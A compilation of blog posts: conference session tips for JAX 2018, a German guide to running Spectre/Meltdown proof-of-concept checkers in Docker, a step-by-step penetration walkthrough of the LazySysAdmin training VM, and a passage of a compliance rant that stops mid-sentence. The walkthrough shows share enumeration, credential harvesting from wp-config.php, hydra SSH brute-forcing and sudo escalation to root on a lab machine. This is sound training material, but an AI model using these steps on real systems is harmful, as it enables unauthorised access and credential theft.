Cybersecurity im Facility Management

Unser IT-Security-Experte Kevin Wennemuth gibt spannende Einblicke zu IT- und OT-Security im Gebäude!

<p>Es ist mal wieder <a href="https://jax.de" target="_blank">JAX</a> , eine der angestammtesten Konferenzen für Entwickler in Deutschland.</p><p>Die Begriffe Security, InfoSec und <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" target="_blank">OWASP TOP 10</a>  haben jetzt auch C-Grade-Veranstaltungen erreicht, wollen wir also mal die Konferenz, die dortigen Tracks und Workshops auf ihre InfoSec Ausrichtung hin überprüfen.</p><p>Ich habe mir das Programm genauer angesehen und einige Empfehlungen für euch.</p><blockquote><p>Disclaimer: Die nachfolgenden Empfehlungen beziehen sich auf Security wie in InfoSec, nicht auf Security wie in Compliance…<a href="https://www.cybrary.it/0p3n/compliance-vs-security/" target="_blank">das wird gern durcheinandergebracht</a> .</p></blockquote><p>Also, was haben wir auf der <a href="https://jax.de/programm/" target="_blank">Trackliste</a>  der <a href="https://jax.de/" target="_blank">JAX 2018</a> ?</p><h2>Pflicht! Ja! Wirklich!</h2><p>Auf jeden Fall solltet ihr die folgenden Tracks ansehen, sie geben einen guten Durchstich zu unterschiedlichen Themen wie DevSecOps, InfoSec, Security by Design, etc.</p><ul><li><a href="https://jax.de/devops-continuous-delivery/we-are-all-equifax-data-behind-devsecops/" target="_blank">We Are All Equifax: Data Behind DevSecOps</a>  (Ilkka Turunen)</li><li><a href="https://jax.de/performance-security/lets-play-security/" target="_blank">Let’s play Security</a>  (Dominik Schadow)</li><li><a href="https://jax.de/core-java-jvm-languages/locking-the-doors-7-pernicious-pitfalls-to-avoid-with-java/" target="_blank">Locking the Doors – 7 Pernicious Pitfalls to avoid with Java</a>  (Steve Poole)</li><li><a href="https://jax.de/performance-security/ssltls-for-mortals/" target="_blank">SSL/TLS for Mortals</a>  (Maarten Mulders)</li><li><a href="https://jax.de/performance-security/security-aware-development-it-sicherheit-und-agile-entwicklungv/" target="_blank">Security Aware Development – IT-Sicherheit und agile Entwicklung</a>  (Carsten Cordes)</li></ul><h2>Die nice-to-have Tracks</h2><p>Wenn ihr Zeit habt, hier entlang bitte…</p><ul><li><a href="https://jax.de/core-java-jvm-languages/preventing-null-pointer-exceptions-at-compile-time/" target="_blank">Preventing Null Pointer Exceptions at Compile Time</a>  (Werner Dietl)</li><li><a href="https://jax.de/microservices/identity-management-fuer-microservices-und-self-contained-systems/" target="_blank">Identity Management für Microservices und Self-contained Systems</a>  (Mike Wiesner)</li><li><a href="https://jax.de/cloud-container-serverless/einfuehrung-in-kubernetes/" target="_blank">Einführung in Kubernetes</a>  (Erkan Yanar)</li><li><a href="https://jax.de/performance-security/autorisierung-mit-spring-security-5/" target="_blank">Autorisierung mit Spring Security 5</a>  (Mike Wiesner)</li></ul><h2>Alles außer gewöhnlich!</h2><p>Auf jeden Fall empfehlenswert sind die nachfolgenden Sessions. Deep-Dives und Denkleistungen auch mal jenseits des Hamsterrades (meistens auch extrem lustig).</p><ul><li><a href="https://jax.de/cloud-container-serverless/handson-bau-eigener-docker-images/" target="_blank">Hands-on: Bau eigener Docker Images</a>  (Erkan Yanar)</li><li><a href="https://jax.de/cloud-container-serverless/docker-tipps-und-tricks-nicht-nur-fuer-anfaenger/" target="_blank">Docker: Tipps und Tricks nicht nur für Anfänger</a>  (Halil-Cem Gürsoy)</li><li><a href="https://jax.de/big-data-machine-learning/the-art-of-coding-disasters-and-failures/" target="_blank">The art of coding disasters and failures</a>  (Fernando Cejas)</li><li><a href="https://jax.de/cloud-container-serverless/cloud-ist-keine-strategie-innovationskultur-als-basis-der-digitalen-transformation/" target="_blank">Cloud ist keine Strategie</a>  (<a href="https://www.codecentric.de/team/dennis-traub/" target="_blank">Dennis Traub</a> )</li></ul><h2>Die Workshops</h2><p>Workshops sind immer wieder eine hervorragende Gelegenheit, sich einmal den ganzen Tag mit einem anderen Thema zu beschäftigen. Aus Security-Sicht sind die Workshops eher aus Meta-Sicht her interessant.</p><ul><li><a href="https://jax.de/software-architecture/workshop-api-design-von-grund-auf-richtig/" target="_blank">API-Design von Grund auf richtig</a>  (Arne Limburg, Christian Schulz)</li><li><a href="https://jax.de/software-architecture/workshop-resilient-software-design-in-theory-and-practice/" target="_blank">Resilient Software Design – Theory and Practice</a>  (<a href="https://www.codecentric.de/team/ufr/" target="_blank">Uwe Friedrichsen</a> )</li><li><a href="https://jax.de/agile-culture/lego-mindstorms-ev3-competition-populate-the-mars/" target="_blank">LEGO MINDSTORMS EV3 Competition: „Populate the Mars“</a>  (Bernhard Löwenstein)</li></ul><p>Und wenn ihr Zeit und Lust habt, fangt <a href="https://www.codecentric.de/team/kevin-wennemuth/" target="_blank">mich</a>  ab, kommt zum <a href="https://twitter.com/codecentric" target="_blank">codecentric</a>  Stand auf der JAX und quasselt mit mir eine Runde. Ich freu mich!</p>

JAX 2018 – aber sicher!

<p>Die Architekturprobleme <a href="https://meltdownattack.com/" target="_blank">Spectre und Meltdown</a>  von Intel(-derivativen) Prozessoren sind derzeit in aller Munde – soweit so gut. Die Fehler werden nach und nach von den jeweiligen Herstellern wie Intel oder ARM durch Microcode- oder OS-Patches behoben, doch wie kann man jenseits des eigenen Laptops oder der Workstation Infrastrukturen wie Cluster oder Data-Center testen?<br /> <span><br /> Die CVEs stehen schon bereit, und Proof-of-Concept (POC) Code ist auch verfügbar für:<br /> </span></p><ul><li>CVE-2017-5753</li><li>CVE-2017-5715</li><li><a href="https://www.exploit-db.com/exploits/43427/" target="_blank">Exploit-DB:43427</a> </li><li>CVE-2017-5754</li></ul><p>Dieser Artikel zeigt auf, wie die entsprechenden Tests auf Spectre und Meltdown in Docker-Container verpackt werden können. Dies ermöglicht ein flächendeckendes Deployment zum Testen von Cluster-Infrastrukturen wie <a href="https://kubernetes.io/" target="_blank">Kubernetes</a>  oder <a href="https://github.com/docker/swarm" target="_blank">Docker-Swarm</a> .<br /> <a href="https://media.graphassets.com/R9PgbZHfQNeAambb1nFa"><img width="720" height="487" src="https://media.graphassets.com/R9PgbZHfQNeAambb1nFa" alt="Logo Spectre und Logo Meltdown in Docker 2018" /></a> </p><h2>Spectre POC</h2><p>Als Ausgangsbasis benötigen wir ein Linux-basiertes System (z.B. eine virtuelle Maschine) mit einem <a href="http://releases.ubuntu.com/16.04/" target="_blank">Ubuntu 16.04 LTS</a> . Hier benötigen wir vor allem einen aktuellen <a href="https://gcc.gnu.org/" target="_blank">GCC Compiler</a> . Der bereits veröffentlichte POC Code wird kompiliert und danach in ein Docker <code>scratch</code> Abbild transferiert. Alle notwendigen Quellcodes für Spectre sind in einem eigenen <a href="https://github.com/feffi/docker-spectre" target="_blank">GitHub Repository</a>  zusammengefasst:</p>

```
git clone https://github.com/feffi/docker-spectre.git
cd docker-spectre
git submodule init
git submodule update
```

<p>Als nächstes präparieren wir das Docker <code>scratch</code> Abbild für das einfache Deployment unseres POC:</p>

```
tar cv --files-from /dev/null | docker import - scratch
```

<p>Danach kann der POC Code kompiliert und im Container untergebracht werden:</p>

```
gcc -static -std=c99 -O0 spectre.c -o spectre
echo "FROM scratch\nADD spectre /spectre\nCMD ["/spectre"]\n" > Dockerfile
docker build -t docker-sprectre:latest .
```

<p>Nun haben wir eine einfache Möglichkeit, den POC Code auf unserem Laptop oder aber auch in einem <a href="https://kubernetes.io/" target="_blank">Kubernetes</a>  Cluster auszuführen:</p>

```
docker run -ti --privileged docker-spectre:latest
```

<p>Sollte ein System betroffen sein, kann man folgende Meldung sehen:</p>

```
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdd75a8... Success: 0x54=’T’ score=7 (second best: 0x0B score=1)
Reading at malicious_x = 0xffffffffffdd75a9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdd75aa... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdd75ab... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdd75ac... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdd75ad... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdd75ae... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdd75af... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdd75b0... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdd75b1... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdd75b2... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdd75b3... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdd75b4... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdd75b5... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdd75b6... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdd75b7... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdd75b8... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdd75b9... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdd75ba... Success: 0x65=’e’ score=7 (second best: 0x0B score=1)
Reading at malicious_x = 0xffffffffffdd75bb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdd75bc... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdd75bd... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdd75be... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdd75bf... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdd75c0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdd75c1... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdd75c2... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdd75c3... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdd75c4... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdd75c5... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdd75c6... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdd75c7... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdd75c8... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdd75c9... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdd75ca... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdd75cb... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdd75cc... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdd75cd... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdd75ce... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdd75cf... Success: 0x2E=’.’ score=2
```

<h2>Meltdown POC</h2><p>Im Grunde wenden wir hier die gleiche Verfahrensweise an, wie schon zuvor beim <code>Spectre POC</code>. Hierzu benötigen wir jedoch ein anderes Repository für den POC:</p>

```

cd ./Am-I-affected-by-Meltdown

```

<p>Hier wird auch der POC Code kompiliert und in einem Docker Container (diesmal mit <a href="https://hub.docker.com/r/phusion/baseimage/">phusion/baseimage</a> ) untergebracht:</p>

```

make
echo "FROM phusion/baseimage\nADD meltdown-checker /meltdown-checker\nCMD ["/meltdown-checker"]\n" > Dockerfile
docker build -t docker-meltdown:latest .

```

<p>Auch dieser Test kann wiederum in einem Cluster deployed oder auf einem lokalen Laptop/Workstation ausgeführt werden.</p>

```

docker run -ti --privileged docker-meltdown:latest

```

<p>Sollte das System anfällig für Meltdown sein, kann man folgende Ausgabe sehen:</p>

```

Checking whether system is affected by Variant 3: rogue data cache load (CVE-2017-5754), a.k.a MELTDOWN ...
Checking syscall table (sys_call_table) found at address 0xffffffffaea001c0 ...
0xc4c4c4c4c4c4c4c4 -> That's unknown
0xffffffffae251e10 -> That's SyS_write

System affected! Please consider upgrading your kernel to one that is patched with KAISER
Check https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html for more details

```

<h2>Noch ein Wort der Warnung</h2><p>Aufgrund der statistischen Natur der Angriffe/Schwachstellen ist es möglich oder gar wahrscheinlich, dass beide o.g. POC Tests <code>false positives</code> und/oder <code>false negatives</code> liefern. Diesem Verhalten kann durch mehrmaliges Ausführen und Vergleichen der Ausgabe entgegen gewirkt werden.</p><h2>TL;DR</h2><p>Die folgenden Artikel und Webseiten bildeten die Grundlage für diesen Artikel.</p><ul><li>Original POC used here: <a href="https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6" target="_blank">Eriks GIST</a> </li><li><a href="https://github.com/adrb/public/tree/master/linux/spectre_multiarch" target="_blank">spectre_multiarch: Architecture independent version</a> </li><li><a href="https://github.com/asm/deep_spectre" target="_blank">Deep learning side channel privileged memory reader</a> </li><li><a href="https://github.com/raphaelsc/Am-I-affected-by-Meltdown" target="_blank">Am-I-affected-by-Meltdown</a> </li><li><a href="https://github.com/IAIK/meltdown" target="_blank">Meltdown Proof-of-Concept</a> </li><li><a href="https://security.stackexchange.com/questions/176657/how-to-mitigate-meltdown-in-docker-images" target="_blank">How to mitigate Meltdown in Docker images?</a> </li></ul>

Docker vs. Spectre und Meltdown

<p>Today we’re going to start out training session with a fairly decent image from <a href="https://www.vulnhub.com" target="_blank">vulnhub.com</a>  – <a href="https://www.vulnhub.com/entry/lazysysadmin-1,205/" target="_blank">LazySysAdmin: 1</a> .<br /> To use this image, just download, unzip and throw it against a running <a href="https://www.virtualbox.org" target="_blank">virtualbox</a> .</p><p>Just be sure to create a host-only network beforehand, so we can find the virtual machine. The system itself will get an IP Adress via DHCP on this network. We’re using <code>vboxnet4</code> (<code>192.168.60.0/24</code>) here, so just adapt this to your networking.<br /> We are also working on a macOS 10.3, so be sure to adapt the used tools to your environment. We used the following tools:</p><ul><li><a href="https://github.com/alexxy/netdiscover" target="_blank">netdiscover</a> </li><li><a href="https://nmap.org" target="_blank">nmap</a> </li><li><a href="http://dirb.sourceforge.net" target="_blank">dirb</a> </li><li>THC hydra</li></ul><p>If you want to install these tools with Homebrew, just tap <code>brew tap feffi/homebrew-pentest</code>.</p>

```
$ brew tap feffi/homebrew-pentest

```

<p>Everything up? OK, let’s start.</p><h2>Meanwhile somewhere in outer space…</h2>

```
$ sudo netdiscover -i vboxnet4 -f -r 192.168.60.0/24

```



```
 Currently scanning: Finished!   |   Our Mac is: DE:AD:BE:EF:DE:AD - 0

 1 Captured ARP Req/Rep packets, from 1 hosts.   Total size: 1
 _________________________________________________________________
   IP            At MAC Address      Count  Len   MAC Vendor
 -----------------------------------------------------------------
 192.168.60.2    08:00:27:6d:95:4e   1      60    Unknown vendor

```

<p>Ah, right, <code>192.168.60.2</code>, that’s fine. For the sake of reusing this IP in our tasks, we just shorten it a bit:</p>

```
$ export ip="192.168.60.2"
$ echo $ip

```

<p>Nice, let’s start a common scanning for services:</p>

```
$ nmap -sV -sC $ip

```



```
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-04 14:20 CET
Nmap scan report for 192.168.60.2
Host is up (1.0s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
|   2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
|   256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_  256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (EdDSA)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Silex v2.2.7
| http-robots.txt: 4 disallowed entries
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info:
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.60.1
|_  error: Closing link: (nmap@192.168.60.1) [Client exited]
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 59m57s, deviation: 0s, median: 59m57s
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: , NetBIOS MAC:  (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN\x00
|   Domain name: \x00
|   FQDN: lazysysadmin
|_  System time: 2017-11-05T00:22:19+10:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2017-11-04 15:22:19
|_  start_date: 1601-01-01 00:53:28

```

<p>Ok, that’s a lot of surface to cover. Let’s start with the laziest type of service: Samba. As we can see, the account <code>guest</code> is authenticated as <code>user</code>, that is nice. Before we continue, we note down everything that might be a username or password:</p>

```
$ echo "TR2" >> login.txt
$ echo "guest" >> login.txt
$ echo "LAZYSYSADMIN" >> login.txt
$ echo "lazysysadmin" >> login.txt
$ echo "x00" >> login.txt


```

<h2>Let’s chat…</h2><p>Having a look a the irc deamon …</p>

```
$ telnet 192.168.60.2 6667

Escape character is '^]'
:Admin.local NOTICE Auth :*** Looking up your hostname... 

>>PASS none

:Admin.local NOTICE Auth :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.56.1) instead.

>>NICK Bla
>>USER blah blah blah blah

:Admin.local NOTICE Auth :Welcome to Localnet!
:Admin.local 001 Bla :Welcome to the Localnet IRC Network Bla!blah@192.168.56.1
:Admin.local 002 Bla :Your host is Admin.local, running version InspIRCd-2.0
:Admin.local 003 Bla :This server was created 14:52:33 Mar 29 2016
:Admin.local 004 Bla Admin.local InspIRCd-2.0 iosw biklmnopstv bklov
:Admin.local 005 Bla AWAYLEN=201 CASEMAPPING=rfc1459 CHANMODES=b,k,l,imnpst CHANTYPES=# CHARSET=ascii ELIST=MU FNC KICKLEN=256 MAP MAXBANS=60 MAXCHANNELS=20 MAXPARA=32 MAXTARGETS=20 :are supported by this server
:Admin.local 005 Bla MODES=20 NETWORK=Localnet NICKLEN=33 PREFIX=(ov)@+ STATUSMSG=@+ TOPICLEN=308 VBANLIST WALLCHOPS WALLVOICES :are supported by this server
:Admin.local 042 Bla 690AAAAAD :your unique I
:Admin.local 375 Bla :Admin.local message of the day
:Admin.local 372 Bla :- Please edit /etc/inspircd/mot
:Admin.local 376 Bla :End of message of the day.
:Admin.local 251 Bla :There are 1 users and 0 invisible on 1 servers
:Admin.local 254 Bla 0 :channels formed
:Admin.local 255 Bla :I have 1 clients and 0 servers
:Admin.local 265 Bla :Current Local Users: 1  Max: 1
:Admin.local 266 Bla :Current Global Users: 1  Max: 1
```

<p>Checking for weaknesses on InspIRCd-2.0 … only DoS and spoofing, no remote access known. Let’s walk on to the next.</p><h2>Samba, Samba, olê…</h2><p>Now we can enumerate the Samba shares as <code>guest</code>:</p>

```
$ nmap -sV --script=smb-enum-shares -p445 $ip

```



```
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-04 14:25 CET
Nmap scan report for 192.168.60.2
Host is up (0.00054s latency).

PORT    STATE SERVICE     VERSION
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: LAZYSYSADMIN

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\192.168.60.2\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (Web server)
|     Users: 1
|     Max Users: 
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\192.168.60.2\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: 
|     Path: C:\var\lib\samba\printers
|     Anonymous access: 
|     Current user access: 
|   \\192.168.60.2\share$:
|     Type: STYPE_DISKTREE
|     Comment: Sumshare
|     Users: 0
|     Max Users: 
|     Path: C:\var\www\html\
|     Anonymous access: READ/WRITE
|_    Current user access: READ/WRITE

```

<p>Oh, nice! A guest writeable directory. Maybe we can snoop around…</p>

```
$ mkdir share
$ mount_smbfs //guest:@192.168.60.2/share$ share
$ cd share
$ tree -L 2 .

```



```
.
├── Backnode_files
│   ├── AAEAAQAAAAAAAAdJAAAAJDhiNGY1YTk3LTQ3NTctNDE1Ny1hZmU4LTlhMWE4.jpg
│   ├── failure-good-thing-fixed.png
│   ├── front-end.css
│   ├── front-end.js
│   ├── jquery-ui.js
│   ├── jquery.js
│   ├── logo.png
│   ├── normalize.css
│   ├── pageable.js
│   ├── picto1.png
│   ├── picto2.png
│   ├── picto3.png
│   ├── script.json
│   ├── styles.css
│   └── tumblr_lb4pi2yt1C1qb2xivo1_500.gif
├── apache
├── deets.txt
├── index.html
├── info.php
├── old
├── robots.txt
├── test
├── todolist.txt
├── wordpress
│   ├── index.php
│   ├── license.txt
│   ├── readme.html
│   ├── wp-activate.php
│   ├── wp-admin
│   ├── wp-blog-header.php
│   ├── wp-comments-post.php
│   ├── wp-config-sample.php
│   ├── wp-config.php
│   ├── wp-content
│   ├── wp-cron.php
│   ├── wp-includes
│   ├── wp-links-opml.php
│   ├── wp-load.php
│   ├── wp-login.php
│   ├── wp-mail.php
│   ├── wp-settings.php
│   ├── wp-signup.php
│   ├── wp-trackback.php
│   └── xmlrpc.php
└── wp

```

<p>Really? A wordpress installation! Let us check this first.</p>

```
$ cat wordpress/wp-config.php | grep DB_USER
define('DB_USER', 'Admin');
$ cat wordpress/wp-config.php | grep DB_PASSWORD
define('DB_PASSWORD', 'TogieMYSQL12345^^');
$ cat wordpress/wp-config.php | grep DB_NAME
define('DB_NAME', 'wordpress');

```

<p>Noted! We got our first username/password combination.</p>

```
$ echo "deets" >> login.txt
$ echo "Admin" >> login.txt
$ echo "admin" >> login.txt
$ echo "TogieMYSQL12345^^" >> login.txt
$ echo "Togie" >> login.txt
$ echo "togie" >> login.txt

```

<p>What else do we get here?</p>

```
$ cat deets.txt

```



```
CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the server.

Password 12345

```



```
$ echo "CBF" >> login.txt
$ echo "12345" >> login.txt

```

<p>Yeah…sure…we updated it.</p>

```
$ cat todolist.txt

```



```
Prevent users from being able to view to web root using the local file browser

```

<p>Done. So we got some stuff here, but where to put it?</p><h2>Land of the Apache</h2><p>Maybe we should enumerate a little further. We got an website listening on port 80. Spider that:</p>

```
$ dirb http://$ip

```



```
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Nov  4 14:38:59 2017
URL_BASE: http://192.168.60.2/
WORDLIST_FILES: /usr/local/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.60.2/ ----
==> DIRECTORY: http://192.168.60.2/apache/
+ http://192.168.60.2/index.html (CODE:200|SIZE:36072)
+ http://192.168.60.2/info.php (CODE:200|SIZE:77236)
==> DIRECTORY: http://192.168.60.2/javascript/
==> DIRECTORY: http://192.168.60.2/old/
==> DIRECTORY: http://192.168.60.2/phpmyadmin/
+ http://192.168.60.2/robots.txt (CODE:200|SIZE:92)
+ http://192.168.60.2/server-status (CODE:403|SIZE:292)
==> DIRECTORY: http://192.168.60.2/test/
==> DIRECTORY: http://192.168.60.2/wordpress/
==> DIRECTORY: http://192.168.60.2/wp/
... (lots of output)

```

<p>Ok, by the time dirb is running we got some interesting directories to look at:</p><ul><li><code>http://192.168.60.2/apache/</code></li><li><code>http://192.168.60.2/info.php</code></li><li><code>http://192.168.60.2/phpmyadmin/</code></li><li><code>http://192.168.60.2/wordpress/</code></li></ul><p>And some more. We’ve already seen those in the samba-enumeration. Let’s try our wordpress then…</p>

```
$ curl -v http://192.168.60.2/wordpress/

```



```
...
 
My name is togie.
My name is togie.
My name is togie.
My name is togie.
...

```

<p>mhhh that <code>togie</code> again…mhhh, maybe…we can try ssh…</p><h2>Serpentine water monster</h2><p>Let us try our already filled login list</p>

```
$ hydra -t 4 -L login.txt -P login.txt ssh://$ip

```



```
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-11-04 20:35:23
[DATA] max 4 tasks per 1 server, overall 4 tasks, 169 login tries (l:13/p:13), ~43 tries per task
[DATA] attacking ssh://192.168.60.2:22/
[STATUS] 128.00 tries/min, 128 tries in 00:01h, 41 to do in 00:01h, 4 active

[22][ssh] host: 192.168.60.2   login: togie   password: 12345

1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-11-04 20:36:42

```

<p>Nice! So we login using <code>togie</code> and password <code>12345</code></p>

```
$ ssh togie@$ip

```



```
##################################################################################################
#                                          Welcome to Web_TR1                                    #
#                             All connections are monitored and recorded                         #
#                    Disconnect IMMEDIATELY if you are not an authorized user!                   #
##################################################################################################

togie@192.168.60.2's password: 12345

```



```
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun Nov  5 02:24:33 AEST 2017

  System load:  0.0               Processes:           177
  Usage of /:   48.5% of 2.89GB   Users logged in:     0
  Memory usage: 31%               IP address for eth0: 192.168.60.2
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

133 packages can be updated.
0 updates are security updates.

togie@LazySysAdmin:~$

```

<p>So we got a shell. Let’s enumerate further.</p>

```
togie@LazySysAdmin:~$ id

```



```
uid=1000(togie) gid=1000(togie) groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)

```

<p>We got sudo…</p><h2>Flag</h2>

```
$ sudo su -
[sudo] password for togie: 12345

```



```
root@LazySysAdmin:~# ls -al

```



```
total 28
drwx------  3 root root 4096 Aug 15 23:10 ./
drwxr-xr-x 22 root root 4096 Aug 21 20:10 ../
-rw-------  1 root root 1050 Nov  3 14:45 .bash_history
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
drwx------  2 root root 4096 Aug 14 20:30 .cache/
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-r--r--  1 root root  347 Aug 21 19:35 proof.txt

```

<p>Gotcha!</p>

```
$ cat proof.txt

```



```
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851


Well done :)

Hope you learned a few things along the way.

Regards,

Togie Mcdogie




Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu

```

<p> </p>

Penetration Test Training – LazySysAdmin

<p>Often daily business in companies starts with a fresh compliance audit. Everything seems to be measured, documented, regulated. It’s secure. But is this a sufficient security strategy? Based on my experience in regulated sectors, like banking and insurances, I would suggest this feeling of being secure is a <a href="https://en.wikipedia.org/wiki/Trojan_Horse" target="_blank">trojan horse</a> . This will be a rant – discussion appreciated.</p><h2>But the feeling!</h2><p>As said before, most compliance strategies consist of regulating and documenting “things”. Strict processes, gateways, <a href="https://en.wikipedia.org/wiki/Law_of_Demeter" target="_blank">law of demeter (LoD)</a> , <a href="https://en.wikipedia.org/wiki/Need_to_know" target="_blank">need-to-know principle</a>  are fundamental core planes of every well-intentioned compliance story. Things are written down, mostly on printed paper, and forwarded to the commander(s) in chief. Your own responsibility for implemented security, the lack of or grievances regarding “everybody is doing it wrong, but compliant”, is conveniently moved away from your desk. It’s now in the <a href="https://en.wikipedia.org/wiki/Somebody_else%27s_problem" target="_blank">SEP field</a> , as <a href="https://en.wikipedia.org/wiki/Douglas_Adams" target="_blank">Douglas Adams</a>  postulates – you passed the buck.</p><h2>Daily business and the compliance officer’s bucket</h2><p>But wait! We all do <a href="http://www.devsecops.org/" target="_blank">DevSecOps</a> , don’t we? We feel responsible for the things we do! We care! So, regarding the <a href="http://www.devsecops.org/" target="_blank">DevSecOps</a>  cultural change in most businesses, why don’t we care about the reintegration of compliance in this culture of feedback, discussion and caring? It seems odd to have a compliance officer running around, not involved in actual teams, not discussing her findings and requirements with the team. This officer could even ask the team to automate her key measures and melt down her drift for paperwork. But…from the compliance officer’s viewpoint, this does not feel safe. It could be dynamic, it could be fast, it could be paperless. But in view of long-lasting paperwork for compliance re-audits – that will happen a year later – this optimization of feedback and workflow does not feel secure. Why? The buck could not be passed! The feedback cycles, provided by and to the team, in such a fast feedback-based process, would require a dedicated decision making based on measures. Decision making does not feel secure, decision making only feels secure when it’s done by others. Those that apparently hold the buck.</p><h2>Compliance failure and hiding things</h2><p>Based on the <a href="http://www.devsecops.org/" target="_blank">DevSecOps</a>  cultural change in most companies that successful applied the principles, one of the key points was the “embracing of failures”. This seems odd for a compliance officer, as a failure in compliance is not accepted in most regulated companies. Be compliant or die! And as mentioned above, compliance decisions are always right – compliance never fails. When compliance fails, the project failed, not the compliance regulatory. There is no feedback. It’s a one-way show. So what happens if a 